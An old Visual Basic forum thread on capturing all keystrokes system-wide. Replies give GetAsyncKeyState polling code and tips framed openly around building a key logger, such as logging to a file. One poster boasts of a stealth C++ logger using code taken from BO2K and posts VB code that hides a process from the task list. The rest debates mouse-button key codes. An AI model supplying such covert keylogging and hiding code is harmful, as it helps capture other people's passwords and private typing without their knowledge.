Results 1 to 16 of 16

Thread: Listen to keyboard

  1. #1

    Thread Starter
    Lively Member
    Join Date
    Mar 2000
    Location
    Højslev, None, Denmark
    Posts
    75

    Cool

    Can a program listen to every keystroke you made, even if it is another program that is active, like a macrorecorder?
    Queen ROCKS!!!!!

  2. #2
    Guest
    Use the GetAsyncKeyState api function.

    Code:
    Private Declare Function GetAsyncKeyState _
     Lib "user32" (ByVal vKey As Long) As Integer
    
    Private Sub Form_Load()    
    Timer1.Interval = 1
    End Sub
    
    Private Sub Timer1_Timer()    
    Dim i As Integer    
    For i = 3 To 255       
    If GetAsyncKeyState(i) Then Debug.Print Chr(i) 
    Next 
    End Sub

  3. #3
    Guest
    Setting the Timer to 1 will record to fast. Set it to 100 instead.

  4. #4
    Guest
    Not always Megatron, not if you are a fast typer. Maybe the interval set at 10 or 50? I know you know that 0 to 255 also includes the mouse. Well, have you noticed that if you don't have it directly set at 3 to 255, and you are printing to the Debug Window, it goes crazy with the square boxes. But, as you already noticed, 0 to 2 is mouse buttons and without them, the Debug Window is normal.

  5. #5
    Guest
    I beg to differ.

    A) When making a Key-logger, you go by average typing. There are people who type at speed 10 and people who type at speed 200. After doing several tests, 100 seems like the reasonable number.

    B) When making a key logger, don't print to the debug window. Print to a file

    C) 0 is not a mouse button. It's 1, 2 and 3, which represent Left, Middle and Right respectivly.

  6. #6
    Guest
    So it's 0 that's causing all this trouble?

    And 1-3 is not?
    And printing to the debug window..was just an example.

  7. #7
    Guest
    Correct. If you log key 0, then things will tend to 'screw up'.

  8. #8
    transcendental analytic kedaman's Avatar
    Join Date
    Mar 2000
    Location
    0x002F2EA8
    Posts
    7,221
    BTW, the timer won't fire the event less than in 53 ms
    Use
    writing software in C++ is like driving rivets into steel beam with a toothpick.
    writing haskell makes your life easier:
    reverse (p (6*9)) where p x|x==0=""|True=chr (48+z): p y where (y,z)=divMod x 13
    To throw away OOP for low level languages is myopia, to keep OOP is hyperopia. To throw away OOP for a high level language is insight.

  9. #9
    Junior Member
    Join Date
    Aug 2000
    Posts
    30

    installing a hook is much better...

    in my opinion GetAsyncKeyState isn't a good way to realize a key logger! i wrote a really cool stealth key logger in c++ which installed a global system hook using a API function the name i don't know at this time (maybe SetWindowsHookEx)...
    this logger worked PERFECTLY and logged ALL keys you pressed, at every typing speed... i think this is the way the macrorecoders work...
    Currently using VB6 Enterprise, but VC++ is much better for API ( )!

  10. #10

    Thread Starter
    Lively Member
    Join Date
    Mar 2000
    Location
    Højslev, None, Denmark
    Posts
    75

    Talking Please

    I would like to have it, please give a link to it, or send it to me at: [email protected]
    please tell me the declaration syntax, so I can declare the function.
    Queen ROCKS!!!!!

  11. #11
    Junior Member
    Join Date
    Aug 2000
    Posts
    30

    Cool

    as i said, i wrote this app in c++! this program can't be written in visual basic cause you need a real multithreading app...

    if you're interested in the stealth functions of my app, i need to say that even this can't be done in basic. the stealth functions hack the export table of some system dlls like kernel32 etc. this code (it's more than 400 lines c++ code!) is really really difficult... i stole it from bo2k, goto www.bo2k.com and download the source code... it took me some days to extract the stealth code but now it works... hahaha...............

    if you want to hide an app from the task list in visual basic you need to do a registerserviceprocess call:
    Code:
    Private Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
    Private Const RSP_SIMPLE_SERVICE = 1
    Private Const RSP_UNREGISTER_SERVICE = 0
    
    Public Sub HideApp()
        Dim pid As Long
        Dim regserv As Long
    
        pid = GetCurrentProcessId()
        regserv = RegisterServiceProcess(pid, RSP_SIMPLE_SERVICE)
    End Sub
    
    Public Sub ShowApp()
        Dim pid As Long
        Dim regserv As Long
        
        pid = GetCurrentProcessId()
        regserv = RegisterServiceProcess(pid, RSP_UNREGISTER_SERVICE)
    End Sub
    Currently using VB6 Enterprise, but VC++ is much better for API ( )!

  12. #12
    Fanatic Member Mad Compie's Avatar
    Join Date
    Aug 2000
    Location
    Kuurne (Belgium)
    Posts
    553
    Meg, VBAPI.COM says that LBUTTON=1, RBUTTON=2 and MBUTTON=4.

    http://www.vbapi.com/ref/other/virtualkeycodes.html

  13. #13
    Guest
    Isn't the middle mouse button = 3?

    Or you could just do it this way:

    Code:
    Private Sub Timer1_Timer()
    If GetAsyncKeyState(vbLeftButton) Then Caption = "Left"
    If GetAsyncKeyState(vbMiddleButton) Then Caption = "Middle"
    If GetAsyncKeyState(vbRightButton) Then Caption = "Right"
    End Sub
    And did anyone ever see the new mouse with 4 buttons. Wonder how you detect that forth button. Or is that what 4 is equal to?

  14. #14
    Junior Member
    Join Date
    Aug 2000
    Posts
    30

    Wink

    hey guys, you should take a look at VC++ include file 'winuser.h':

    Code:
    .
    .
    .
    #define VK_LBUTTON        0x01
    #define VK_RBUTTON        0x02
    #define VK_CANCEL         0x03
    #define VK_MBUTTON        0x04    /* NOT contiguous with L & RBUTTON */
    .
    .
    .
    as you can see 0x3 (or &H3 in VB) is used for the CANCEL (=ESCAPE) key!

    if you take a look at 'VBCONST.BAS' (search MSDN for that), is says the same:
    Code:
    .
    .
    .
    Global Const KEY_LBUTTON = &H1
    Global Const KEY_RBUTTON = &H2
    Global Const KEY_CANCEL = &H3
    Global Const KEY_MBUTTON = &H4    ' NOT contiguous with L & RBUTTON 
    .
    .
    .
    i hope, this was a little help!
    Currently using VB6 Enterprise, but VC++ is much better for API ( )!

  15. #15
    Fanatic Member Mad Compie's Avatar
    Join Date
    Aug 2000
    Location
    Kuurne (Belgium)
    Posts
    553
    I agree with Matthew.
    VB has a lot of built-in constants, so why not using them thoroughly?
    It makes our code more readable.

  16. #16
    Guest
    Matthew Gates: No, the middle button is 4.

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  



Click Here to Expand Forum to Full Width